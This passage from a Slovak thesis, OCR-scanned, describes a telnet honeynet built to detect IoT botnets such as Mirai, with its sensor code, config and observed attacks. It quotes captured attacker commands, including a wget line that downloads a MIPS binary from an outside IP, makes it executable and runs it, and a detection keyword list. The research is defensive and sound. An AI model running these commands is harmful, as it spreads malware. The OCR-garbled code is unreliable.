[69]
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5.3.1 Senzor telnet prikazov

Jeden zo senzorov, ktory sme implementovali, sa zameriava na prikazy telnetu.
Pomocou nastroja tepflow [70] sleduje telnet komunikaciu na sietovom moste, ktora
smeruje na honeypoty. Vdaka tomu, ze telnet komunikacia prebieha bez Sifrovania,
dokdzeme tento senzor umiestnit’ v rdmci sietového rozhrania, ktorym komunikacia
prebieha. Z tychto doévodov sme vytvorili néstroj telnet.py, ktory spracuje vystup
ztcpflow, vyskladd si konkrétne prikazy awulozi ich do databazy - tabulPky
telnet_commands. TaktieZ v nich vyhl'adavame vzory prikazov, ktoré sa snazia stiahnut’
Skodlivy kod a potom ho vykonat'. Tento néstroj dokéze zaznamenat’ prihlasovacie udaje,
ktoré botnet testuje pre prihlasenie. Tieto Gdaje vSak uZz nie su tak zaujimavé, pretoze sa
zviacsa opakuju prednastavené bezné mena uzivatel'ov ako admin, root, user a iné, a k nim

prisluchajuce hesla ako password, 1234, admin a pod.

Nastroj telnet.py v prvom kroku vyuziva Python modul subprocess, ktory vytvori
novy proces a spusti v iom program tcpflow. Ako parametre tohto prikazu pouzivame
premennu snifffilter_list z konfiguracného stboru, ktory popisujeme v ramci tejto
kapitoly. Na to aby sme mohli d’alej pracovat’s vystupom z programu tcpflow sme pouzili

raru kniznice subprocess. V d’alSom kroku sme vytvorili spojenie na databazu.

1. proc = subprocess.Popen(['sudo', 'tcpflow', '-c', '-i',
conf.interface ] + conf.snifffilter list + ['and',6 'dst',

'port', '23'], stdout=subprocess.PIPE)

2. db = dbhoney.DBhoney ()

Program tcpflow dava na vystup po riadkoch obsah paketov, ktoré spiiiaji nas
filter. Ten mé& nastaveny cielovy port 23 a teda zberd len prikazy z telnetu. Pri
automatizovanych néstrojoch sa da povedat’, Ze jeden prikaz je jeden paket, av§ak nemusi
to byt pravidlom. Ztohto dovodu tieto prikazy skladame. Pre tento ucel sme
implementovali tri metddy.

Prvou metddou je exists_session, ktord zisti, ¢i uz existuje v paméti nejaky
zaznam o ¢innosti danej IP adresy na niektorom z naSich honeypotov, pri¢om bol pouzity
rovnaky zdrojovy port. Zdrojova IP adresa a port predstavuju jeden proces na zariadeni

utocénika.
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1. def exists session(Src, Dst, SPort, DPort):

2. i=20

3. while i < len(Sessions.sessions):

4. if Src == Sessions.sessions[i] [0] and
Dst == Sessions.sessions[i][1]
and SPort == Sessions.sessions[i][2] and
DPort == Sessions.sessions[i] [3]:

5. return True

6. i=1+1

7. return False

Druhou metodou je create_session, ktorej ulohou je vytvorenie nového zdznamu,

ak predosla metoda vrati False.

1. def create session(Src, Dst, SPort, DPort):

2. if not Sessions.exists session(Src, Dst, SPort,
DPort) :

3. Sessions.sessions.append([Src, Dst, SPort, DPort, [],
01)

Poslednou metddou je write_session_string, ktora zapiSe spracované prikazy do
databazy. Prikaz je ukonceny pomocou znaku ,\r. Kym sa tento znak neobjavi
v niektorom z paketov, tak je prikaz v $tddiu pisania. Z tohto dévodu ukladame prikazy
do databazy az vtedy, ked’ narazime na tento znak. V tejto metdde kontrolujeme, ¢i prikaz
neobsahuje niektory zo zaujimavych vyrazov, ako wget, tftp, bin, busybox a podobne.
Tieto vyrazy sme vybrali na zaklade toho, Ze uto¢nik musi nejakym spdsobom prevziat’
Skodlivy kod a potom ho vykonat. Prikazy ako wget a tftp slizia prave na prevzatie
suborov a prikazy ako bin, sh, alebo busybox sa pouZzivaju pri spistani programov
v prostredi linux. Stcasne pocitame pocet paketov, ktoré¢ tvorili dany prikaz. Na konci
ukladdme ziskané prikazy do databazy volanim metody db.saveTelnetCommand. Téato

metdda je v prilohe A aj s kompletnym programom telnet.py.
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5.3.2 Senzor TCP a UDP komunikacie

Druhy senzor je taktiez umiestneny na sietovom moste, ale vyuZziva nastroj
tcpdump [71]. PresnejSie pri implementécii tohto senzora pouzivame Python kniznicu
scapy [72], ktord na pozadi vyuziva prave tento nastroj. Pre programovaci jazyk Python
sme sa rozhodli aj z dovodu, Ze obsahuje tito kniznicu, ktora je uzitocna pri zbere udajov
z pocitacovej siete. Tento senzor taktiez odchytdva sietovi komunikdciu, ale
zameriavame sa na DNS komunikaciu, HTTP komunikaciu a pripadntl IRC komunikaciu.
Stcasne ukladdme aj UDP komunikaciu s honeypotmi spolu so zdrojovym a cielovym
portom a IP adresami. Pri kazdom zaznamenanom udaji mame aj ¢asovll znamku. Pre
TCP komunikaciu ukladame udaje iba o tych spojeniach, ktoré maja v hlavicke paketu
priznak SYN, alebo SYN a ACK. Ukladat’ vSetky spojenia do databazy by bolo zbyto¢né.
Preto ukladdme pociato¢né dva pakety komunikacie. Prvy je s priznakom SYN, ktory je
inicializacny. A za nim nasleduje odpoved’ druhej strany komunikacie s priznakmi SYN
a ACK. Tieto priznaky st nastavené v TCP hlavicke paketu. Celd komunikacia je
ukladana aj v podobe Standardnych pcap suborov, ktoré su vystupom ndstroja tcpdump
[71]. Pri DNS komunikécii ukladdme do databdzy poziadavky na preklad doménového
mena a ich odpovede. Tieto informacie st uzito¢né pri hl'adani podozrivych adries. Pre
HTTP komunikaciu ukladdme niektoré z udajov v hlavicke paketu. Su to napriklad
Method, Path, Host, alebo Server a Location. Vdaka nim vieme celd cestu
k pozadovanému suboru, alebo tiez vieme aky server pouziva uto¢nik na zdielanie
suborov. IRC komunikacia je ukladand do databazy spolu so zakladnymi prikazmi, ktoré
obsahuje. V programe volame metddu sniff, ktora zbera sietovi komunikaciu na zéklade

filtra z konfigura¢ného stboru a pre kazdy zaznamenany paket vola metodu querysniff.

nn

sniff(iface = conf.interface, filter =" " join(conf.snifffilter list),

prn = querysniff, store = 0)

Metéda querysniff zisti, ¢i paket vyhovuje jednej z podmienok, teda ¢i ide
o DNS komunikaciu, HTTP komunikaciu alebo IRC komunikaciu a v pripade splnenia
podmienky, ulozi zdznam do databazy. Protokol DNS je v scapy priamo implementovany,
takze rozliSit’ tito komunikéciu nerobi ziaden problém. Pre ostatné dva protokoly sme

vSak museli pouzit’ iné implementacie. HTTP komunikéciu rozliSujeme na zéklade portu
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80, na ktorom Standardne prebieha a vyberdme z nej parametre hlavicky, ktoré su
znazornené v kapitole o databaze. Pre IRC sme pouzili implementaciu pre scapy od
organizacie The Honeynet Project [73], ktora rozpoznava IRC komunikaciu na zaklade

regularnych vyrazov.

Okrem tychto troch protokolov, ukladéd tento néstroj aj vSeobecnit TCP a UDP
komunikaciu, tak ako uvadzame vyssie. Jednotlivé pakety st ukladané aj vo forme
suborov pcap, ktoré su postupne vytvarané s Casovou peciatkou zaciatku a konca ich

zaznamov. Zdrojové subory nastroja su uvedené v prilohe B.

5.3.3 Pomocné nastroje

Okrem hlavnych dvoch néstrojov pre zber tdajov sme implementovali aj dva
pomocné, z ktorych jeden ukladd metadata o IP adresach a druhy sa snazi kopirovat

subory, stiahnuté uto¢nikom pomocou wget prikazu.

Néstroj collectip.py vezme vSetky IP adresy, ktoré su v databdze bud’ ako
zdrojova alebo ciel'ova adresa ktorejkol'vek komunikacie a pokial’ sa d4, zisti o nich tidaje
o umiestneni a pritomnost’ na blackliste sluzby moocher.io. Udaje o polohe ziskavame
pomocou kniznice qeolite2 [74], ktora nam poskytne krajinu, ¢asové pasmo, kontinent
a stradnice danej IP adresy. A vdaka webovému API sluzby moocher.io vieme zistit’, ¢i
nie je niektora IP adresa na blackliste, ktory tato sluzba prevadzkuje. Vsetky udaje, ktoré

sa nam podari ziskat’, ukladame do tabul’ky ips.

Néstroj filedown.py mé& na starosti kontrolu uloZenych telnet prikazov
a ukladanie suborov, ktoré sa Uto¢nik snazil skopirovat’ prikazom wget. Skopirovanie
tychto siborov ma na starosti metéda down_get, ktord vo vstupnom prikaze vyhl'ada url

adresy v lom pouzité a pokusi sa ich skopirovat’ pomocou Python kniznice urllib [75].

1. def down wget(s):

2. socket.setdefaulttimeout (30)

3. c = re.findall ("wget[";]*;", s)

4, if c:

5. for i in c:

6. cc = re.search("http[®; 1*", 1)

7. if cc:

8. url = cc.stringlcc.start () :cc.end()]
9. id = uwuid.uuid4 ()
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10. try:

11. urllib.urlretrieve (url,
filename=conf.files +
"files/" 4+ str(id))

12. except:

13. pass

14. if os.path.isfile(conf.files +
"files/" + str(id)):

15. hash = md5 (conf.files + "files/" +
str (id))

16. return str(id), url, hash

17. return None

Ak vsetko prebehne bez problémov, ziskany stbor sa ulozi do lokalneho adresara,
nastaveného v konfiguraénom stbore. Nazov lokalneho stboru je vygenerovany
nahodne. Sti¢asne vytvarame odtlacok tohto suboru pomocou nastroja Md5Shash.. Spolu
s URL adresou su tieto tidaje ulozené do databazy a pridana je aj zdrojova IP adresa,
odkial’ prikaz priSiel. Zdrojové kody pre pomocné nastroje su zobrazené v prilohe C

a v prilohe D .

5.4 Webové rozhranie

Kedze riadenie honeynetu prebiecha pomocou konzoly pristupnej cez SSH
spojenie so serverom, vytvorili sme webové rozhranie, ktoré umoziuje vizualizaciu
zozbieranych udajov. Prezeranie zozbieranych udajov v konzole by bolo neprehladné.
Webové rozhranie sme vybudovali nad Python kniznicou Flask [76]. Aplikacia pracuje
s naSou databdzou a zobrazuje zozbierané udaje v tabulkach, ktoré su postavené na
DataTables kniZnici javascriptu [77]. Kazd4 tabulka implementuje strankovanie,

triedenie podla stipcov a filtrovanie podl'a vyhladdvaného vyrazu.

Ku kazdej tabulke z databdzy mame jednu stranku, ktord zobrazuje jej obsah.
Teda zobrazujeme telnet prikazy, DNS poziadavky, TCP a UDP spojenia (obr. €. 18),
HTTP poziadavky aodpovede, IRC komunikaciu, Udaje o zozbieranych stboroch
a zachytené IP adresy. Na tejto stranke sa administrator honeynetu moze prekliknat’ na

webovu sluzbu blacklistov multirbl [78]. Touto sluzbou sme doplnili sluzbu moocher.io.
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Obr. 18 Webové rozhranie — TCP a UDP komunikacia

Na uvodnej stranke sa zobrazuju uz vyfiltrované zaujimavé prikazy, ktoré
honeynet zachytil (obr. €. 19). Kliknutim na zdrojovu IP adresu sa vieme prepnuat na detail
komunikacie tejto IP adresy s nasimi honeypotmi. Tato moznost’ je dolezitd, ak sledujeme
konkrétny pripad nakazenia honeypotu skodlivym koédom, resp. komunikaciu v ramci

botnetu.
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Obr. 19 Webové rozhranie - zaujimavé prikazy

V casti honeypoty mame zoznam konkrétnych honeypotov aj s ich IP adresami
a architektirou. Tymto zoznamom si vieme zobrazit' komunikdciu iba s danym jednym

honeypotom (Obr. ¢. 20). Toto je tiez prinosné pri sledovani procesu nakazenia
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honeypotu. Vieme takto sledovat’ aj komunikdciu nesuvisiacu priamo s IP adresou

utocénika.
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Obr. 20 Webové rozhranie - detail honeypotu

Aplikacia webového rozhrania je zlozend zjedného Python suboru web.py,
v ktorom je implementované celé rozhranie a adresara templates. Tento adresar
obsahuje Sablony jednotlivych stranok. Cely web vieme nasadit’ na nejaky webovy server
(napr. Apache2), ktory podporuje wsgi skripty. Pre nendrocné pouZzivanie vSak postacuje
vstavany testovaci web server kniznice Flask. Pre spustenie tohto servera sme pripravili
skript startweb.sh, ktory ho spusti na porte 5000. Zdrojové stibory webového rozhrania

st uvedené v prilohe E.

5.5 Konfiguracny subor

Z doévodu zjednoduSenia nastavenia honeynetu sme vytvorili konfiguraény
subor, ktory obsahuje zdkladné premenné systému. Stbor sme nazvali conf.py a

obsahuje nasledujuce premenné:

1. DB = "/path/to/directory/honeypotDB.db"
2. pcaps = "/path/to/directory/"

3. files

"/path/to/directory/"
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4. interface = "br0O"

5. snifffilter list = ['(', 'host', '"xXXX.XxXX.xXXX.xXxXx',
'or', 'host', 'xxx.xxx.xxx.xxx', 'or', 'host',

'XXX . XXX . XXX .xXx'", 'or', 'host',6 'xxx.xxx.xxx.xxx', 'or',
'host', '"xxx.xxx.xxx.xxx', 'or', 'host', 'xXxXX.XXX.XxXX.xxx',
")

6. 1ips = ["XXX.XXX.XXX.XXX', "'XXX.XXX.XXX.XXX',

'XXX XXX XXX XXX, TXXX XXX XXX XXX, "TXXX.XXX.XXX.XXX',

TXXX XXX XXX .XXX"]

7. architectures = ['MIPS', 'MIPS', 'MIPSEL', 'POWERPC',
'"ARMEL', 'ARMHF']

Prvou premennou systému je cesta k stiboru s databazou SQLite. Druhy riadok
konfiguracného suboru popisuje cestu k adresaru so subormi, ktoré obsahuju vsetku
komunikaciu v honeynete, ulozeni vo formate suborov pcap. Tretia premenna urcuje
cestu k adresaru, kam sa kopiruju subory prevzaté¢ od utocnikov. Premenné interface
urcuje sietové rozhranie, na ktorom sa bude sledovat’ sietovd komunikécia honeynetu.
V nasom pripade to je br0, teda sietovy most, ku ktorému su pripojené vsetky honeypoty.
Nasledujiuce dve premenné musia obsahovat’ rovnaké IP adresy, aké sme nastavili
honeypotom, inak nebudu tieto hodnoty zodpovedat skutocnosti. Premenna
snifffilter_list ma Specialny format, pretoze tvori filter, ktory sa pouziva na zber udajov
z pocitacovej siete. Aj ked’ je mozné do tohto filtra pridavat’ d’alSie pravidla, odpori¢ame
sa drzat’ stanoveného formatu a vkladat’ len samostatné IP adresy honeypotov. Premenna
ips potom musi obsahovat’ rovnaké IP adresy ako snifffilter list. Poslednou premennou
je architectures, ktord popisuje architektiry danych honeypotov. Pocet aj poradie
usporiadania udajov o honeypotoch sa musia v tychto poslednych dvoch premennych
zhodovat. Ak sa nezhoduji, nebudi hodnoty odpovedat’ skutoCnosti. Premenna
architetures moze nadobudnut hodnoty: MIPS, MIPSEL, POWERPC, ARMEL,
ARMHF.
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6 Poznatky ziskané prevadzkou honeynetu

T4 kapitola obsahuje poznatky ziskané z prevadzky virtudlneho honeynetu pri
detekcii botnetov. Akondhle sme povolili na centrdlnom firewalle univerzitnej
pocitacovej siete pristup na virtualny honeynet, zaznamenali sme pokusy o prihlasenie sa
k jednotlivym honeypotom. V priebehu niekol’kych mintt sa uz podarilo tto¢nikom
odhalit’ nase prihlasovacie udaje a postupovat’ v ich d’alSich krokoch. Prvymi krokmi
uto¢nikov po prihlaseni bolo testovanie prostredie, do ktorého sa dostali. Prikladom

tychto prikazov su:

cat /proc/mounts; /bin/busybox LAUGL
nc; wget; /bin/busybox LAUGL

Ako mdzeme vidiet,, tieto prikazy vykonavajui len neSkodnu ¢innost’ — testuju si
prostredie. V mnohych pripadoch sa spojenie z danej zdrojovej IP adresy uz neopakovalo,
alebo ak ano, tak vykonavalo stéle tie isté prikazy. Neskor sme zaznamenali komunikaciu
z IP adries, ktoré sa do tej chvile neobjavili, ale prihlasovacie udaje zadali spravne na
prvy pokus. Na zaklade tohto usudzujeme, ze uto¢nik minimalne postupuje v 2 krokoch.
Z jedného zariadenia testuje, ¢i zariadenie je zranitelné a aké su prihlasovacie udaje.
V tomto pripade mozno hovorit' o prieskumnom utoku, aj ked ddjde k prieniku do
systému. Utoénik vykonava len prieskumni &innost a zistuje si prihlasovacie udaje
a prostredie systému. Predpokladame, Ze tieto Gdaje sa ukladaji v zdiel'anej databaze.
V druhom kroku prebieha uz samotny utok na systém. Zaujimavostou je, Ze na tto
aktivitu sa nepouzivaju zariadenie pre prieskumné utoky. Tieto zavery usudzujeme na
zaklade toho, Ze zariadenia, ktoré predtym nekomunikovali s nas§imi honeypotmi, poznali

prihlasovacie Uidaje.

V nasledujucich podkapitolach sa blizSie budeme venovat’ dvom pripadom Sirenia

botnetu, ktoré sme zaznamenali na virtudlnom honeynete.

6.1 Detekcia neznameho utoku

Prikladom je aj komunikicia jedného z naSich honeypotov s IP adresou
118.72.8.189, ktora ma polohu v Cine. Po tispe$nom prihlaseni zadal postupne prikazy,

ktoré st uvedené na Obr. €. 21. Nasledne doslo k preruSeniu spojenia.
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" #Pluser"
'user’
'enable’
'system’
'shell'

'sh’

" /bin/busybox wget; /bin/busybox 81c46036wget; /bin/busybox
echo -ne \\x0181c46036\\x7f’; /bin/busybox printf
\\00281c46036\177"; /bin/echo -ne \\x0381c46036\\x7f';

/usr/bin/printf "\0048 1c46036\\177"; /bin/busybox tftp;
/bin/busybox 81c46036tftp;"

' /bin/busybox dd if=/bin/busybox bs=22 count=1 || /bin/busybox
cat /bin/busybox’

Obr. 21 Prikazy v prvom pripade detekcie

Po niekol’kych sekundach doslo k novému prihlaseniu z tej istej IP adresy. Prvé
kroky boli totozné s tymi, ktoré su zobrazené na obrazku ¢. 21. Po tychto prikazoch
uto¢nik pokracoval d’alej. SkuSal zmazat’ subory, ktoré zacinali na 81c46036 a skusal to
v roznych adresaroch systému. Posledné dva prikazy, ktoré vykonal uto¢nik boli

zaujimavé (Error! Reference source not found.).

" /bin/busybox wget -O -
http://109.236.91.226/81c4603681c46036/81c4603681c46036.mips
-0 - > /81¢c4603681c46036.mips && /bin/busybox chmod 777
J/81c4603681c46036.mips && /bin/busybox echo -ne
\\x0181¢c46036\\x01' |l /bin/busybox echo -ne
\\x0281c46036\x01""

" /81c4603681c46036.mips && /bin/busybox echo -ne
\\x0181¢c46036\\x01' |l /bin/busybox echo -ne
\\x0281c46036\x01""

Obr. 22 Prikazy v prvom pripade detekcie (koniec telnet aktivity)

Pomocou nich bol prevzaty binarny subor, ktory bol nasledne aj spusteny. Dalej
uz nevykonéval aktivitu na telnet sluzbe. Tento subor sme prevzali a otestovali vo¢i dvom
online sluzbam na testovanie $kodlivého kdédu. Jednym bol Virustotal.com [79] a druhou
Malwr.com [80]. Obe tieto sluzby potvrdili, Zze tento binarny subor je cieleny pre

zariadenia s procesorom MIPS. Honeypot, na ktorom tento utok prebehol, bol tejto
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architektry. Taktiez potvrdili, Ze po spusteni d’alej prebicha sietovd komunikécia,
presnejsie sa dopytuje na webové sluzby. Nam sa ale tuto aktivitu uz bohuzial’ nepodarilo
zachytit, pretoze sa program sniff.py neocakdvane sam zastavil. Stalo sa tak pre
implementacna chybu, ktort sme hned’ na to opravili.

Zaujimavé je zistenie, Zze vSetky antivirusové programy, ktoré boli testované
v online sluzbach povaZzovali tento bindrny subor za neskodny. A navySe bol tento
bindrny stibor na tieto sluzby nahrany prvy krat prave nami. Cely zaznamenany priebeh
aj s binarnym stiborom sa nachadza v prilohe tejto prace. MD5 odtlacok tohto stiboru je

75286a5d4ad2779dab95a831477f2d19.

6.2 Detekcia botnetu Mirai

Pomocou virtudlneho honeynetu sa ndm podarilo zachytit’ Sirenie botnetu Mirai,
ktory sme niekol’kokrat spominali v tejto zdverecnej praci. Uvedieme jeden konkrétny
pripad, v ktorom prebiehala komunikacia so zariadenim s IP adresou 45.115.112.214,
nachadzajicou sa v Bangladési.

Najprv sme zaznamenali niekol’ko netspesnych pokusov o prihlasenie. Utoénik
pouzival prihlasovacie udaje, ktoré sme zaznamenali v takomto poradi uz niekol’kokrat.
Potom nastalo Gspe$né prihlasenie s uzivatelom root a heslom root. Pomocou prikazov,

ktoré st uvedené na obrazku €. 23, otestoval prostredie, v ktorom sa nachadza.

echo$?7K_ O S T .Y P E

echo CMDBEGIN ; /bin/busybox echo ok ; echo CMDEND'
echo CMDBEGIN ; /bin/busybox echo ok ; echo CMDEND'

Obr. 23 Mirai - pociatocné prikazy nakazenia

V d’alSom kroku sa pokusil vymazat’ niekol’ko suborov z adresara /var. Neskor sa

don presunul a vytvoril subor s ndzvom upnp. Pomocou prikazu echo dofi v niekol'kych
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krokoch opakovane vkladal znaky zdrojového kédu. Dalsim prikazom sa pokusil tento
subor spustit’. Program sniff.py v tejto chvili zaznamenal UDP komunikdaciu na porte 69,
ktory vSak nas firewall blokuje, takZe nemohlo ddjst’ k vykonaniu zamyslanej ¢innosti.
Na tomto porte funguje sluzba tftp, ktora sluzi na prenos stborov. Niekol'ko krat sa
opakoval tento postup. Ked’Ze v Ziadnom pripade nebol Gspesny, v d’alSom kroku zavolal
priamo prikaz, ktory vyuziva tftp na prebratie suboru. Tento vSak tieZ nebol Gspesny.
Tento prikaz bol zadany len raz apo nom uz nasledovala postupnost’ prikazov
vyuZivajucich program wget na prevzatie siiborov. Utoénik sa pokusil prevziat niekol’ko
suborov s réznymi priponami. Kazdd pripona predstavovala int architektiru, takze
mozeme predpokladat, Ze ide o Skodlivy kod cieleny na rdzne architektary. Tuato
skuto¢nost’ sme si aj neskor potvrdili. Po zadani kazdého z tychto prikazov na prevzatie
suborov sme zaznamenali komunikéciu na porte 280. Prave tento port pouzil ako cielovy
v URL adrese. Ked’Ze aj tento port nebol povoleny na naSom firewalle, subory sa mu
nepodarilo prevziat’. Po tomto netispechu bolo spojenie prerusené. Priblizne o pol hodinu

sa tato aktivita zopakovala z tejto IP adresy znova a postup bol Gplne rovnaky.

Aj ked’ sa uto¢nikovi nepodarilo subory prevziat, ndSmu programu filedown.py
sa to podarilo. Vsetky subory sme nechali otestovat’ vo¢i uz spominanym online sluzbam
Virustotal.com a Malwr.com. Taktiez sme v tychto suboroch nasli slovo MIRAI, takze
sme mohli predpokladat’, Ze ide o prave tento botnet. Toto tvrdenie potvrdili obe online
sluzby, ktoré sme pouzili na testovanie suborov. Taktiez sa potvrdilo, Ze tieto binarne
subory boli kompilované pre rdézne architektiry procesorov a pripony suborov
vyjadrovali architekturu, pre ktort bol dany subor urceny. Tieto binarne subory uz boli
detegované vel'kou Castou antivirusovych programov, ktoré boli pri testoch pouZité.
Zaujimavé je, e aj ked’ utok prisiel z Bangladésa, stibory boli prevzaté z Ciny. Udaje
o tomto utoku su v prilohe E. Ked’Ze bol tento utok rozsiahly, ponechali sme ich v podobe

databazy. Sucasne su sucast’'ou prilohy aj stiahnuté subory.

6.3 Vyhodnotenie ¢innosti honeynetu

Zaznamenanim aktivit botnetov sme si overili funk¢nost’ nasho rieSenia. Vyuzitie
honeypotov pri detekcii botnetov sme sa venovali v kapitole 3.5. Zo spomenutych
honeypotov je iba IoTPOT [38] schopny podobnych vysledkov, pretoze tiez
zaznamenava prikazy uto¢nika a uklad4 prevzaté subory. Autori v ¢lanku rozoberaju

podobné pripady, ktoré zaznamenali pomocou ich honeypotov. Podarilo sa im
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zaznamenat’ prikazy procesu nakazenia a zozbierat’ binarne subory, ktoré boli prevzaté
pri tejto Cinnosti. Ich rieSenie vSak rata s nizko interaktivnym typom honeypotu a
sandboxom (kontrolovanym prostredim), v ktorom sptstajii nové zaznamenané prikazy.
Tento postup sa da pouzit’ len pri automatizovanych utokoch, pretoze pre ich nizko

interaktivny honeypot museli zadefinovat’ dvojice prikaz — odpoved'.

Dal§im spominanym honeypotom bol nepenthes [35]. Tento vsak emuluje
zraniteI'nosti na systéme Microsoft Windows, takze nie je vhodny pre zber takychto
udajov. Stcasne ide o nizko interaktivny honeypot. Dokéze zbierat’ Skodlivy kod, ktory

sa nejakou zranite'nostou dostal k nemu.

Honeypot HonTel [39] je dobre navrhnuty honeypot z pohl'adu funk¢nosti. Autori
vSak dostatocne neimplementovali podstatnu ¢ast’ honeypotu a to je zber idajov. Vystupy
ztohto honeypotu je mozné analyzovat' len vel'mi obtiazne. V naSom honeynete
ukladdme prikazy uto¢nikov do databdzy a priddvame casova peciatku. V pripade

HonTel ide iba o jednoduchy vystup zadanych prikazov do logovacej konzoly.

Honeypot MTPot [21] potrebuje mnozinu dvojic prikaz — odpoved’. Na zaklade
takejto mnoziny dokaze reagovat’ na prikazy. Takéto rieSenie v§ak nedokaze odhalit' nové
postupy. V pripade ak uto¢nik vyuziva prikaz, na ktory nema odpoved’ tak zlyha. Nase
honeypoty su vSak vysoko interaktivne a predstavuju redlny systém, ktory utoc¢nik
oCakava. MTPot dokdZe zaznamenat prikazy zadané do konzoly pomocou telnetu, ale len

do doby, kym tto¢nikovi dokaze dat’ odpovede na prikazy.

Nas honeynet vyuziva vysoko interaktivne honeypoty, takze celd aktivita botnetov
sa odohrava na nich. Z tohto dovodu nie je potrebné emulovat’ Ziadnu zo sluzieb systému.
Vyhodou virtudlneho honeynetu je aj moznost’ pripojit’ do siete honeynetu akékol'vek
zariadenie, ktoré komunikuje prostrednictvom sluzby telnet. Aj ked’ to autori ¢lanku
neuvadzaju, predpokladdme, ze tito moznost' ma aj honeypot [oTPOT, avSak v jeho
pripade ide Uz o sandbox, ktorym by toto zariadenie mohlo byt’ a nie samotny honeypot,

pretoze vyuzivaju nizko interaktivne honeypoty.
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Z.aver

Botnety su v sucasnej dobe redlnou hrozbou, ktora je vyuzivand pri viacerych
titokoch (napr. DDoS). Cim dalej, tym viac sa stretivame so situaciou, Ze sa siéast'ou
botnetu stanu aj nase domdce zariadenia, ako smerovace, digitalne video rekordéry alebo
iné rozne [oT (Internet of Things) zariadenia. Tieto zariadenia sa pripajaji na internet
a nezanedbatel'ny pocet znich ma slabé zabezpeCenie v podobe prednastavenych
prihlasovacich udajov. V tejto praci sme sa zaoberali botnetmi vyuzivajicimi tieto

zariadenia.

Prvym cielom tejto zdéverecnej prace bolo analyzovat moznosti vyuzitia
honeypotov pri analyze botnetov. Tomuto ciel'u sme sa venovali v druhej kapitole tejto
prace. V ramci tejto kapitoly sme rozoberali principy a rozdelenie honeypotov podla
zvolenych kritérii. Pri kazdom type honeypotu sme analyzovali moZnosti pouzitia tohto
typu pri detekcii, resp. analyze botnetov. Svoju analyzu sme doplnili o niekol’ko
existujicich implementécii honeypotov, ktoré vo vicsej, resp. mensej miere je mozné
pouzit’ pre tento ucel. DalSou sudastou druhej kapitoly bola analyza zakladnych
poziadaviek kladenych na honeynet. Pri analyze sme zohl'adiiovali moznosti pouZitia
honeynetov pri analyze Skodlivého koédu a detekcii botnetov. Navyse kapitola 3.5. sa

venujeme konkrétnym honeypotom, ktoré je mozné pouzit pri analyze botnetov.

Druhym cielom tejto prace bolo porovnanie aktudlnych pristupov k detekcii
botnetov. Tento ciel je splneny v tretej kapitole, ktora popisuje mozné pristupy a néstroje
k detekcii botnetov. Pristupy detekcie botnetov je mozné rozdelit’ do dvoch kategorii, a
to na pristupy zaloZené na honeypotoch a na pristupy zaloZzené na systémoch na detekciu
prienikov (Intrusion detection system). Postupne sme v ramci kapitoly analyzovali Styri
kategorie pristupov, a to zaloZené na signatarach (signature-based), anomalidch
(anomaly-based), DNS komunikacii (DNS-based) a data-miningu. Ku kazdému postupu
sme pridali niekol'’ko konkrétnych rieSeni a implementécii. Ako sme uz vysSie spomenuli,

v zavere kapitoly sme sa zamerali na pristupy vyuzivajice honeypoty.

Hlavnym cielom naSej prace bolo navrhnut’ a implementovat’ nastroj na detekciu
botnetov pomocou honeypotov. Na zdklade analyzy honeypotov a honeynetov (kapitola
2) sme sa rozhodli vybudovat virtudlny honeynet pozostavajici z vysoko interaktivnych
honeypotov. KedZe skodlivy kod, ktorym sa botnety Siria, je kompilovany na konkrétnu
architekttiru, rozhodli sme sa, Zze kazdy z honeypotov bude pouzivat’ inli architektiru

procesora. Tento ciel prace je splneny v Stvrtej kapitole (ndvrh systému) a piatej kapitole
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(implementacia systému). Vo virtudlnom honeynete sledujeme a zaznamenavame
sietovi komunikaciu a prikazy ztelnet komunikécie. Z tychto zdrojov nasledne
vyberame udaje, ktoré su pouzité pre naslednu analyzu. Ked’Ze ide o virtualny honeynet,
vyberom vhodnej virtualizanej platformy sa venujeme v kapitole 4.2. Na zaklade

analyzy sme sa rozhodli pouzit’ plnu virtualizaciu a nastroj QEMU.

Pri implementécii virtudlneho honeynetu (kapitola 5) sme sa venovali vSetkym
dolezitym castiam honeynetu, ktoré sme opisali v druhej kapitole tejto prace. Okrem
zberu udajov (data capture), sme sa zamerali aj na bezpecnostny aspekt honeynetu (data
control). Tento aspekt sme implementovali v ramci zakladného modulu pre kontrolu toku

udajov pomocou firewallu.

Honeypotom v ramci virtudlneho honeynetu sme pridelili verejné IP adresy
z rozsahu univerzitnej vyskumnej siete. Virtualny honeynet sme spristupnili pomocou
sluzby telnet Sirokej verejnosti na internete. Zranitelnostou, ktorou sme ulah¢ili pristup

uto¢nikom, boli jednoduché prihlasovacie tidaje (napr. admin/admin, root/root).

Na zdklade zaznamenanych utokov, ktorych priklady sme uviedli v Siestej
kapitole, vieme konStatovat’, Ze nas virtualny honeynet bol navrhnuty a implementovany
spravne. Podarila sa nam viacnasobna detekcia botnetu Mirai. Okrem toho sme zachytili
aj ¢innosti inych botnetov, ktoré itoc€ili na nas virtudlny honeynet. Tymto sme si overili
¢innost’ zberu tdajov (data capture). NavysSe aj riadenie toku udajov (data control) bolo
tiez uspesne otestované, a to v pripadoch, ked’ sa utoc¢nik dostal do systému honeypotu,
ale nedokazal zneho utoc¢it’ d’alej. Nakoniec sme porovnali nd$ ndvrh s existujucimi

honeypotmi.

Virtudlny honeynet, ktory sme navrhli a implementovali, je zdrojom udajov
o botnetoch. Tieto Udaje anasledne aj informacie z nich ziskané je mozné pouzit' k
zabezpeceniu zariadeni pred infikovanim Skodlivym kodom a néslednym zapojenim do
botnetu. Zaujimavym vyuzitim nadsho honeynetu by mohol byt’ néstroj, ktory by dokézal
testovat’ zariadenia voc¢i utokom botnetov. Zo zaznamenanej komunikacie je mozné
vytvorit' vektor Utoku a nasledne je mozné ho testovat’ na prisluSnom zariadeni
umiestnenom v kontrolovanom prostredi (sandboxe). Takyto nastroj by mohol byt

pokracovanim tejto zaverecnej prace.
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Priloha A: Zdrojovy kod programu telnet.py

#! /usr/bin/python

import subprocess
import dbhoney
import conf
import re

proc = subprocess.Popen(['sudo', 'tcpflow', '-c', '-i',
conf.interface ] + conf.snifffilter list + \

['and', 'dst', 'port', '23'],stdout=subprocess.PIPE)
db = dbhoney.DBhoney ()

#sessins
class Sessions:

sessions = []

@staticmethod

def exists session(Src, Dst, SPort, DPort):
i=20
while i < len(Sessions.sessions):

if Src == Sessions.sessions[i][0] and Dst ==
Sessions.sessions[1][1] and \

SPort == Sessions.sessions[i][2] and DPort ==
Sessions.sessions[i] [3]:

return True
i=1+1

return False

@staticmethod
def create session(Src, Dst, SPort, DPort):
if not Sessions.exists session(Src, Dst, SPort, DPort):
Sessions.sessions.append([Src, Dst, SPort, DPort, [],

